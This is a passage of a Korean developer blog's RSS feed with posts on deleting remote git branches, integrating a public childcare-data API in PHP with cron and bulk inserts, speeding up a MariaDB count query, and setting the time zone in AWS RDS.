&lt;pre id=&quot;code_1695258495057&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push origin [브랜치명1] [브랜치명2]
ex) git push origin --delete refs/heads/dev_ltw_7144 refs/heads/dev_ltw_7204&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;혹시&amp;nbsp;브랜치에&amp;nbsp;특수문자&amp;nbsp;들어갔을경우&amp;nbsp;따옴표로&amp;nbsp;감싸서&amp;nbsp;진행 &lt;/p&gt;
&lt;pre id=&quot;code_1695258514546&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push origin --delete &quot;refs/heads/dev_ltw_(아힝흥헹힝)&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 아래와 같이 진행하면 삭제 될줄알았으나 진행 안됐음&lt;br /&gt;앞에 refs/heds/[브랜치명] 붙이니까 정상적으로 삭제됌&lt;/p&gt;
&lt;pre id=&quot;code_1695258568509&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;git push origin --delete dev_5187 dev_5267 dev_6067 dev_7652&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/잡다구리</category>
      <category>git브랜치삭제</category>
      <category>브랜치다중삭제</category>
      <category>브랜치삭제</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/203</guid>
      <comments>https://bug41.tistory.com/entry/Git-%EC%9B%90%EA%B2%A9-%EC%A0%80%EC%9E%A5%EC%86%8C-branch-%EB%8B%A4%EC%A4%91-%EC%82%AD%EC%A0%9C-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%A0%95%EB%A6%AC#entry203comment</comments>
      <pubDate>Thu, 21 Sep 2023 10:10:38 +0900</pubDate>
    </item>
    <item>
      <title>[PHP] 보육정보공개API 연동 작업 후기 (시군구코드 mysql INSERT 문 첨부) , TRUNCATE, BULKINSERT, CRONTAB</title>
      <link>https://bug41.tistory.com/entry/PHP-%EB%B3%B4%EC%9C%A1%EC%A0%95%EB%B3%B4%EA%B3%B5%EA%B0%9CAPI-%EC%97%B0%EB%8F%99-%EC%9E%91%EC%97%85-%ED%9B%84%EA%B8%B0-%EC%8B%9C%EA%B5%B0%EA%B5%AC%EC%BD%94%EB%93%9C-mysql-INSERT-%EB%AC%B8-%EC%B2%A8%EB%B6%80-TRUNCATE-BULKINSERT-CRONTAB</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;사내에서 보유중인 데이터와 , 공개API 를 매칭하는 작업을 하였다.&lt;br /&gt;아래 링크에서 API 에 대한 설명 및 메뉴얼을 볼 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://info.childcare.go.kr/info/oais/introduction/Intro.jsp&quot;&gt;https://info.childcare.go.kr/info/oais/introduction/Intro.jsp&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1689937087742&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;공개 API 개요 &amp;lt; 보육정보공개 API 소개 &amp;lt; 보육정보공개 API &amp;lt; 어린이집정보공개포털&quot; data-og-description=&quot;※ API[Application Program Interface] : 인터넷 이용자가 일방적으로 웹 검색 결과 및 사용자인터페이스(UI) 등을&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;제공받는 데 그치지 않고 직접 응용 프로그램과 서비스를 개발할 수 있도록 공개된 &quot; data-og-host=&quot;info.childcare.go.kr&quot; data-og-source-url=&quot;https://info.childcare.go.kr/info/oais/introduction/Intro.jsp&quot; data-og-url=&quot;https://info.childcare.go.kr/info/oais/introduction/Intro.jsp&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://info.childcare.go.kr/info/oais/introduction/Intro.jsp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://info.childcare.go.kr/info/oais/introduction/Intro.jsp&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;공개 API 개요 &amp;lt; 보육정보공개 API 소개 &amp;lt; 보육정보공개 API &amp;lt; 어린이집정보공개포털&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;※ API[Application Program Interface] : 인터넷 이용자가 일방적으로 웹 검색 결과 및 사용자인터페이스(UI) 등을&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;제공받는 데 그치지 않고 직접 응용 프로그램과 서비스를 개발할 수 있도록 공개된&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;info.childcare.go.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;회원가입은 필수이며, 개발계정 신청 및 심의가 있고 심의는 넉넉하게 하루정도 걸린다고 보면된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;develop_img1.gif&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;493&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VKiBD/btsoypO8vx4/HN7hCGke0TW8KOu1wKHfnK/img.gif&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VKiBD/btsoypO8vx4/HN7hCGke0TW8KOu1wKHfnK/img.gif&quot; data-alt=&quot;https://info.childcare.go.kr/info/oais/guide/Development.jsp&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VKiBD/btsoypO8vx4/HN7hCGke0TW8KOu1wKHfnK/img.gif&quot; srcset=&quot;https://blog.kakaocdn.net/dn/VKiBD/btsoypO8vx4/HN7hCGke0TW8KOu1wKHfnK/img.gif&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;734&quot; height=&quot;493&quot; data-filename=&quot;develop_img1.gif&quot; data-origin-width=&quot;734&quot; data-origin-height=&quot;493&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;https://info.childcare.go.kr/info/oais/guide/Development.jsp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;처음에 테스트 키로 발급받아서 호출할때 데이터들이 죄다 1,2,3,4 이런식으로 찍히는 문제가 있어 왜이런가 했더니&lt;br /&gt;API 설명에 테스트 키는 원래 1,2,3,4... 식으로 찍힌다고 되있었다 -_- ;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;여튼 운영계정 키 발급후 해당 키로 호출을 하니 정상적으로 데이터가 나오는것을 확인하였다.&lt;/p&gt;
&lt;pre id=&quot;code_1689943676624&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CHILDCARE_KEY = &quot;발급받은 KEY&quot;;
# $arcode = &quot;시군구코드&quot;;

#http://api.childcare.go.kr/mediate/rest/cpmsapi030/cpmsapi030/request%20?key=[발급받은 KEY]&amp;amp;arcode=11380
$url = 'http://api.childcare.go.kr/mediate/rest/cpmsapi030/cpmsapi030/request';
$url .= '?key='.CHILDCARE_KEY;
$url .= '&amp;amp;arcode='.$arcode;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;위 형식의 링크이고 접속을 하면 아래처럼 각 동네별 원의 정보들을 쭉 보여준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;485&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cymENm/btsozj84HLX/IPFUleyuAvVGt4Ich0bPAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cymENm/btsozj84HLX/IPFUleyuAvVGt4Ich0bPAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cymENm/btsozj84HLX/IPFUleyuAvVGt4Ich0bPAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcymENm%2Fbtsozj84HLX%2FIPFUleyuAvVGt4Ich0bPAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;485&quot; data-origin-width=&quot;850&quot; data-origin-height=&quot;485&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시군구코드 테이블 정보와 데이터는 아래에 첨부해둔다&lt;br /&gt;총 250개 행의 데이터가있다.&lt;/p&gt;
&lt;pre id=&quot;code_1689944094282&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;CREATE TABLE `sigunguCode` (
	`code` INT(5) NOT NULL,
	`name_do` VARCHAR(50) NOT NULL COLLATE 'utf8_general_ci',
	`name_sigun` VARCHAR(50) NULL DEFAULT NULL COLLATE 'utf8_general_ci',
	`zipcode_s` INT(5) NULL DEFAULT NULL,
	`zipcode_e` INT(5) NULL DEFAULT NULL,	
	PRIMARY KEY (`code`) USING BTREE,
	INDEX `zipcode_s` (`zipcode_s`) USING BTREE,
	INDEX `zipcode_e` (`zipcode_e`) USING BTREE	
)
COLLATE='utf8_general_ci'
ENGINE=InnoDB
;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;fileblock&quot; data-ke-align=&quot;alignCenter&quot;&gt;&lt;a href=&quot;https://blog.kakaocdn.net/dn/ovvKD/btsoxak5By0/V5hxcGaKGBbkyIYFfRKOl1/%EC%8B%9C%EA%B5%B0%EA%B5%AC%EC%BD%94%EB%93%9C%20mysql%20insert.txt?attach=1&amp;amp;knm=tfile.txt&quot; class=&quot;&quot;&gt;
    &lt;div class=&quot;image&quot;&gt;&lt;/div&gt;
    &lt;div class=&quot;desc&quot;&gt;&lt;div class=&quot;filename&quot;&gt;&lt;span class=&quot;name&quot;&gt;시군구코드 mysql insert.txt&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;size&quot;&gt;0.04MB&lt;/div&gt;
&lt;/div&gt;
  &lt;/a&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;crontab 을 돌려 매일 밤 11시에 API 를 호출하여 우리쪽 테이블에 데이터를 쌓길 원했다.&lt;/p&gt;
&lt;pre id=&quot;code_1689944210180&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#매시 20분 간격으로 실행 (20분, 40분)
20 */1 * * * curl -q [호출하고 싶은 페이지]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;매시 20분마다 크론탭을 돌린건 맞지만 어차피 안에서 PHP Hour 별로 작업들이 다른것들도 돌아가기 때문에 상관없었다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스는 별거 없지만 본문을 그대로 첨부하긴 그래서 대충 요약하면 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1689944921624&quot; class=&quot;javascript&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;1. 시군구코드를 전부 한번씩 돌리며 (250번) api 를 호출해서 각 지역의 원 정보를 싹다 받아옴

2. 일일히 api 호출할때마다 insert 를 해주면 시간이 너무 오래 걸리기 때문에,
	루프가 돌때마다 $data 라는 배열에 array_push 를 해주고, 루프가 전부 다돌았을때 마지막에
    bulk insert 를 해줌&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 위 2가지만 생각하면 별거 아닌데 그래도 중간중간에 로그를 쌓아서 기록을 해두거나, 정상적인 시군구코드라 하더라도, api 호출시에 해당 코드에 맞는 데이터가 없을수 있으니 예외처리 및 로그기록 그리고 continue 처리 필요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 해당 API 를 매일매일 호출하면서 데이터를 받아오기 때문에 , 이미 쌓여있는 과거 데이터는 필요가없다.&lt;br /&gt;처음엔 DELETE 를 생각하였으나 대략 5만개를 넘는 원의 정보를 받아오면서 하루에 auto_increment 가 5만씩 늘어나는셈, 데이터 형식은 INT 형이어서 최대값인 &lt;span style=&quot;color: #1d1c1d; text-align: left;&quot;&gt;2147483647 에 도달하기까지는 한참뒤긴 하다만 그래도 어차피 한참뒤니까 상관없어 하고 방치하는건 내 스타일이 아니기도하고,&amp;nbsp; 너저분한 시퀀스를 보느니 깔끔하게 매일매일 1 부터 들어가길 원했다.&lt;br /&gt;그리하여 DELETE 가 아닌 TRUNCATE 로 정하였다. 테이블의 구조 (인덱스 등) 은 그대로 유지하되 데이터들은 초기화 되는게 딱 쓰이기 좋았다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1689955108526&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#DELETE FROM [테이블명];
TRUNCATE TABLE [테이블명];&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #1d1c1d; text-align: left;&quot;&gt;이렇게 데이터는 잘 수집이 되었고 문제는 기존에 있는 데이터들의 원의 정보와 매칭을 하는거였는데 , 서브쿼리로도 조인해보고 그냥 일반 조인도 해보고 했었는데 (단순히 원명으로 매칭 시킬수 있는 조건이 절대 아니여서 , 원 전화번호 랑 우편번호로 매칭시킴) 속도가 너무 안나오길래 고민고민하다가 (대략 25~30초 걸림.. 의미없는 쿼리라 판단함)&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #1d1c1d; text-align: left;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #1d1c1d; text-align: left;&quot;&gt;번호가 중복으로 들어가있는 원도있어서 과감히 버릴 데이터는 버려야겠다 고 판단하였고 아예 조인을 시킬때 원 이름과 전화번호로 &lt;span style=&quot;color: #1d1c1d; text-align: left;&quot;&gt;group by 를 시켜서 조인을 시키며 ON 절에 전화번호와 like 조건문을 추가하였다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1689946028963&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#기존에 있는 MEMBER 테이블과 JOIN
... 생략 ...

LEFT JOIN (
	SELECT crtelno,crcapat,crchcnt,crname
	FROM [API DATA 테이블]
	GROUP BY crname,crtelno
) AS C ON (
    crtelno = MEMBER.tel AND C.crname LIKE CONCAT(&quot;%&quot;, MEMBER.name, &quot;%&quot;)
 )
 
 
 ... 생략 ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ON 절에서 컬럼끼리 저렇게 like 로 비교해서 가져올 수 있는건 이번에 처음으로 사용 해본거였는데 나름 신선했다&lt;br /&gt;좋은 경험한듯&lt;br /&gt;&lt;br /&gt;group by 로 중복된 전화번호 데이터만 없애줘도 속도 개선에 큰 영향을 주었다. (0.3초 가량 소요)&lt;br /&gt;&lt;br /&gt;아 마지막으로 API 에서 받아온 전화번호 형식은 '-' 하이픈이 추가된 상태였는데 (ex. 02-0000-0000)&lt;br /&gt;기존에 내쪽에서 매칭해야되는 번호는 하이픈이 없는 상태라 .. 쿼리에서 replace 하면 되겠지 라고 생각했는데&lt;br /&gt;이것도 상당한 시간이 소요되어서 , 아싸리 애초에 API 를 받아올때 bulk insert 문 만들때 str_replace 로 하이픈을 제거해서 진행하였다.&lt;br /&gt;&lt;br /&gt;마지막으로 정말 당연한 이야기지만 확실히 쿼리 실행횟수는 줄일수록 좋다 ...&lt;/p&gt;</description>
      <category>IT/잡다구리</category>
      <category>bulkinsert</category>
      <category>crontab</category>
      <category>truncate</category>
      <category>[PHP] 보육정보공개API 연동 작업 후기 (시군구코드 mysql INSERT 문 첨부)</category>
      <category>보육정보공개API</category>
      <category>시군구코드</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/202</guid>
      <comments>https://bug41.tistory.com/entry/PHP-%EB%B3%B4%EC%9C%A1%EC%A0%95%EB%B3%B4%EA%B3%B5%EA%B0%9CAPI-%EC%97%B0%EB%8F%99-%EC%9E%91%EC%97%85-%ED%9B%84%EA%B8%B0-%EC%8B%9C%EA%B5%B0%EA%B5%AC%EC%BD%94%EB%93%9C-mysql-INSERT-%EB%AC%B8-%EC%B2%A8%EB%B6%80-TRUNCATE-BULKINSERT-CRONTAB#entry202comment</comments>
      <pubDate>Sat, 22 Jul 2023 01:01:59 +0900</pubDate>
    </item>
    <item>
      <title>[mariaDB] 7~8초 걸리던 select 쿼리 빠르게 하기</title>
      <link>https://bug41.tistory.com/entry/mariaDB-78%EC%B4%88-%EA%B1%B8%EB%A6%AC%EB%8D%98-select-%EC%BF%BC%EB%A6%AC-%EB%B9%A0%EB%A5%B4%EA%B2%8C-%ED%95%98%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;실 서비스중인 모바일 페이지가 있는데, 특정 페이지를 진입하면 로딩이 너무 느려진다고 클레임이 들어와서&amp;nbsp;&lt;br /&gt;확인하게 된 쿼리이다.&lt;br /&gt;(정말 더럽게 짜여져있는 레거시 페이지라 하나 하나 지우면서 분석했다. 물론 내가 만든건 아니다.)&lt;br /&gt;&lt;br /&gt;아래와 같은 쿼리였는데 JOIN 도 없고 단순히 테이블 한곳에서 Select 해서 가져온다.&lt;br /&gt;쿼리에서 대충 짐작 할 수 있다시피 ,&amp;nbsp; 그냥 단순히 특정 회원에게 알림이 쌓이는 테이블이고, read_date 에 읽은 날짜가 기입되고, 읽기전에는 0000-00-00 식으로 기본으로 박혀있다.&lt;/p&gt;
&lt;pre id=&quot;code_1687477136554&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT COUNT(*) 
FROM TABLE 
WHERE del_yn = 0 	 	#사용여부
AND user_id = &quot;111111&quot;  #회원 고유 ID
AND read_date = &quot;0000-00-00 00:00:00&quot;; #읽은 날짜&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;테이블 용량은 대충 13GiB 가량 되며,&amp;nbsp; 컬럼은 20개, 총 데이터 Row 수는 대략 2000만개 정도 되는 테이블이다.&lt;br /&gt;&lt;br /&gt;정말 단순한 select 쿼리 라고 생각했는데 해당 부분이 실행이 되는데에 7~8 초 걸린다 해서 콧방귀를 뀌면서 직접 해봤다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;38&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/crDHrC/btskZU7m6gk/bL8J83mEBqLZjzuDtM4NYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/crDHrC/btskZU7m6gk/bL8J83mEBqLZjzuDtM4NYk/img.png&quot; data-alt=&quot;이왜진??&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/crDHrC/btskZU7m6gk/bL8J83mEBqLZjzuDtM4NYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcrDHrC%2FbtskZU7m6gk%2FbL8J83mEBqLZjzuDtM4NYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;919&quot; height=&quot;38&quot; data-origin-width=&quot;919&quot; data-origin-height=&quot;38&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;이왜진??&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쿼리가 느리다하면 보통 JOIN 이 여러개 걸려있을때만 그런줄 알았는데 신기한 경험을 하게 될줄이야&lt;br /&gt;&lt;br /&gt;찾는 컬럼들에 &lt;b&gt;인덱스 키&lt;/b&gt;는 당연히 걸려있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 우선 줄일수 있는 WHERE 절 조건 부터 확인했다.&lt;br /&gt;&lt;br /&gt;생각해보니 del_yn 은 사용여부 컬럼인데 , 사용자한테 알림 (새 소식) 을 보여주는데 굳이 해당 데이터를 사용 여부를 체크할 필요가 있을까 싶었고 사이드 이펙트 체크를 하기위해 다른곳에서 해당 테이블의 사용여부 컬럼 조건으로 값을 가져가는 부분이 있는지 체크했는데 없었어서,&lt;br /&gt;그냥 의미없이 들어가있는거라 판단하고 바로 del_yn 은 조건에서 제외시키기로 한다.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;del_yn&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;은 1과 0 만 들어가는 TINYINT 데이터 형식임에도 불구하고 해당 부분만 빠져도 2.5초 가량 실행시간이 나왔는데 이것만해도 상당히 성능개선이 많이되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 '0000-00-00 00:00:00' 으로 들어가 있는 부분은 NULL 로 찾는게 훨씬 빠를텐데 이미 다른 페이지에서 애초에 해당 테이블에 insert 를 할때 PHP 단에서 기본값으로 죄다 read_date 컬럼에 '0000-00-00 00:00:00' 라고 박아놔버렸기도하고 이미 쌓여있는 2천만개의 데이터를 이제와서 죄다 고치긴 일이 너무 커질것 같아서 저 부분을 좀 더 보완 할 수 있을까 고민을 해봤는데 mariaDB 에서의 CAST 가 답이었다.&lt;/p&gt;
&lt;pre id=&quot;code_1687478182788&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;SELECT COUNT(*)
FROM TABLE
WHERE user_id = &quot;111111&quot;  AND CAST(read_date AS INT) = 0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;INT 형이 아무래도 검색속도가 빠르기도하고&lt;br /&gt;어차피 read_date 에 값이 들어가있으면 CAST 로 뽑았을경우 무조건 0 이 아니게 되어버리니&lt;br /&gt;위처럼 뽑아오니까 성능 개선이 대폭 되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;20&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdV38s/btsk2A7Nrqc/6ikoqeEkuT1Phjj5vxeXRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdV38s/btsk2A7Nrqc/6ikoqeEkuT1Phjj5vxeXRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdV38s/btsk2A7Nrqc/6ikoqeEkuT1Phjj5vxeXRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdV38s%2Fbtsk2A7Nrqc%2F6ikoqeEkuT1Phjj5vxeXRK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;545&quot; height=&quot;20&quot; data-origin-width=&quot;545&quot; data-origin-height=&quot;20&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위에도 썻다시피, join 걸려있는것도 없는데 단순 select 문이 이렇게 느릴수도 있구나,&lt;br /&gt;단순히 키값 걸었다고 무조건 빠르지 않다는것도 , TINYINT 데이터 형식의 1,0 만 들어가있는 컬럼을 찾는 WHERE 절 조건을 빼고 안빼고 차이가 이렇게 크다는것도 느끼게되었다.&lt;/p&gt;</description>
      <category>IT/SQL</category>
      <category>mariadb cast</category>
      <category>php mariadb</category>
      <category>select 문 속도 개선</category>
      <category>select 쿼리 속도개선</category>
      <category>쿼리개선</category>
      <author>월공</author>
      <guid isPermaLink="true">https://bug41.tistory.com/201</guid>
      <comments>https://bug41.tistory.com/entry/mariaDB-78%EC%B4%88-%EA%B1%B8%EB%A6%AC%EB%8D%98-select-%EC%BF%BC%EB%A6%AC-%EB%B9%A0%EB%A5%B4%EA%B2%8C-%ED%95%98%EA%B8%B0#entry201comment</comments>
      <pubDate>Fri, 23 Jun 2023 09:02:01 +0900</pubDate>
    </item>
    <item>
      <title>[AWS RDS] time_zone 설정하는 방법 (Feat. 파라미터 그룹)</title>
      <link>https://bug41.tistory.com/entry/AWS-RDS-timezone-%EC%84%A4%EC%A0%95%ED%95%98%EB%8A%94-%EB%B0%A9%EB%B2%95-Feat-%ED%8C%8C%EB%9D%BC%EB%AF%B8%ED%84%B0-%EA%B7%B8%EB%A3%B9</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;db 시간이 9시간 느리다.&lt;br /&gt;time_zone 이 달라서 그렇다.&lt;br /&gt;아래 처럼 시간을 찍어보면 확인 할 수 있었다.&lt;/p&gt;
&lt;pre id=&quot;code_1687476065893&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;select now();&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 일반 리눅스 세팅 환경이었으면 db root 로 들어가서 SET GLOBAL 로 시간 고정하거나 타임존 바꾸면 그만이겠지만&lt;br /&gt;AWS RDS 에서는 그렇게 되있지않다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;우선 RDS -&amp;gt; 데이터베이스 -&amp;gt; 사용중인 db -&amp;gt; 구성 탭&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;에서 내가 사용중인 파라미터 그룹을 확인 한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1151&quot; data-origin-height=&quot;648&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cSgWEi/btskZtvxGzE/EKOlrkKW1DDhxgQ2dGjp60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cSgWEi/btskZtvxGzE/EKOlrkKW1DDhxgQ2dGjp60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cSgWEi/btskZtvxGzE/EKOlrkKW1DDhxgQ2dGjp60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcSgWEi%2FbtskZtvxGzE%2FEKOlrkKW1DDhxgQ2dGjp60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;871&quot; height=&quot;490&quot; data-origin-width=&quot;1151&quot; data-origin-height=&quot;648&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 이름에 맞는 파라미터 그룹을 찾아서 진입해서 time_zone 을 검색해본다.&lt;/p&gt;
